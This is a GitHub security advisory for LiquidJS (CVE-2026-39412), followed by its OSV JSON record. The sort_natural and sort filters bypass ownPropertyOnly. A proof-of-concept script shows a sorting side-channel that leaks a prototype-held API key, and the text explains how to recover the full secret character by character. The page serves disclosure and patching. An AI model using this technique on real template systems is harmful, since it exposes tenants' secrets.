GHSA-RV5G-F82M-QRVV

Vulnerability from github – Published: 2026-04-08 15:04 – Updated: 2026-04-09 14:29
VLAI?
Summary
LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel
Details

Summary

The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.

Details

In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:

export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
  const propertyString = stringify(property)
  const compare = property === undefined
    ? caseInsensitiveCompare
    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
  const array = toArray(input)
  this.context.memoryLimit.use(array.length)
  return [...array].sort(compare)
}

In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:

export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
  return obj[key]
}

The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.

PoC

const { Liquid } = require('liquidjs');

async function main() {
  const engine = new Liquid({ ownPropertyOnly: true });

  // Object with prototype-inherited secret
  function UserModel() {}
  UserModel.prototype.apiKey = 'sk-1234-secret-token';

  const target = new UserModel();
  target.name = 'target';

  const probe_a = { name: 'probe_a', apiKey: 'aaa' };
  const probe_z = { name: 'probe_z', apiKey: 'zzz' };

  // Direct access: correctly blocked by ownPropertyOnly
  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
  console.log('Direct access:', JSON.stringify(r1));  // "" (blocked)

  // map filter: correctly blocked
  const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
  console.log('Map filter:', JSON.stringify(r2));  // "" (blocked)

  // sort_natural: BYPASSES ownPropertyOnly
  const r3 = await engine.parseAndRender(
    '{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
    { users: [probe_z, target, probe_a] }
  );
  console.log('sort_natural order:', r3);
  // Output: "probe_a,target,probe_z,"
  // If apiKey were blocked: original order "probe_z,target,probe_a,"
  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}

main();

Result:

Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,

The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.

Impact

Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.25.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T15:04:39Z",
    "nvd_published_at": "2026-04-08T20:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.\n\n### Details\n\nIn `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:\n\n```typescript\nexport function sort_natural\u003cT\u003e (this: FilterImpl, input: T[], property?: string) {\n  const propertyString = stringify(property)\n  const compare = property === undefined\n    ? caseInsensitiveCompare\n    : (lhs: T, rhs: T) =\u003e caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])\n  const array = toArray(input)\n  this.context.memoryLimit.use(array.length)\n  return [...array].sort(compare)\n}\n```\n\nIn contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:\n\n```typescript\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n  if (ownPropertyOnly \u0026\u0026 !hasOwnProperty.call(obj, key) \u0026\u0026 !(obj instanceof Drop)) return undefined\n  return obj[key]\n}\n```\n\nThe `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.\n\n### PoC\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\nasync function main() {\n  const engine = new Liquid({ ownPropertyOnly: true });\n\n  // Object with prototype-inherited secret\n  function UserModel() {}\n  UserModel.prototype.apiKey = \u0027sk-1234-secret-token\u0027;\n\n  const target = new UserModel();\n  target.name = \u0027target\u0027;\n\n  const probe_a = { name: \u0027probe_a\u0027, apiKey: \u0027aaa\u0027 };\n  const probe_z = { name: \u0027probe_z\u0027, apiKey: \u0027zzz\u0027 };\n\n  // Direct access: correctly blocked by ownPropertyOnly\n  const r1 = await engine.parseAndRender(\u0027{{ users[0].apiKey }}\u0027, { users: [target] });\n  console.log(\u0027Direct access:\u0027, JSON.stringify(r1));  // \"\" (blocked)\n\n  // map filter: correctly blocked\n  const r2 = await engine.parseAndRender(\u0027{{ users | map: \"apiKey\" }}\u0027, { users: [target] });\n  console.log(\u0027Map filter:\u0027, JSON.stringify(r2));  // \"\" (blocked)\n\n  // sort_natural: BYPASSES ownPropertyOnly\n  const r3 = await engine.parseAndRender(\n    \u0027{% assign sorted = users | sort_natural: \"apiKey\" %}{% for u in sorted %}{{ u.name }},{% endfor %}\u0027,\n    { users: [probe_z, target, probe_a] }\n  );\n  console.log(\u0027sort_natural order:\u0027, r3);\n  // Output: \"probe_a,target,probe_z,\"\n  // If apiKey were blocked: original order \"probe_z,target,probe_a,\"\n  // Actual: sorted by apiKey value (aaa \u003c sk-1234-secret-token \u003c zzz)\n}\n\nmain();\n```\n\n**Result:**\n```\nDirect access: \"\"\nMap filter: \"\"\nsort_natural order: probe_a,target,probe_z,\n```\n\nThe sorted order reveals that the target\u0027s prototype `apiKey` falls between \"aaa\" and \"zzz\". By using more precise probe values, the full secret can be extracted character-by-character through binary search.\n\n### Impact\n\nInformation disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.",
  "id": "GHSA-rv5g-f82m-qrvv",
  "modified": "2026-04-09T14:29:00Z",
  "published": "2026-04-08T15:04:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39412"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/pull/869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS: ownPropertyOnly bypass via sort_natural filter \u2014 prototype property information disclosure through sorting side-channel"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…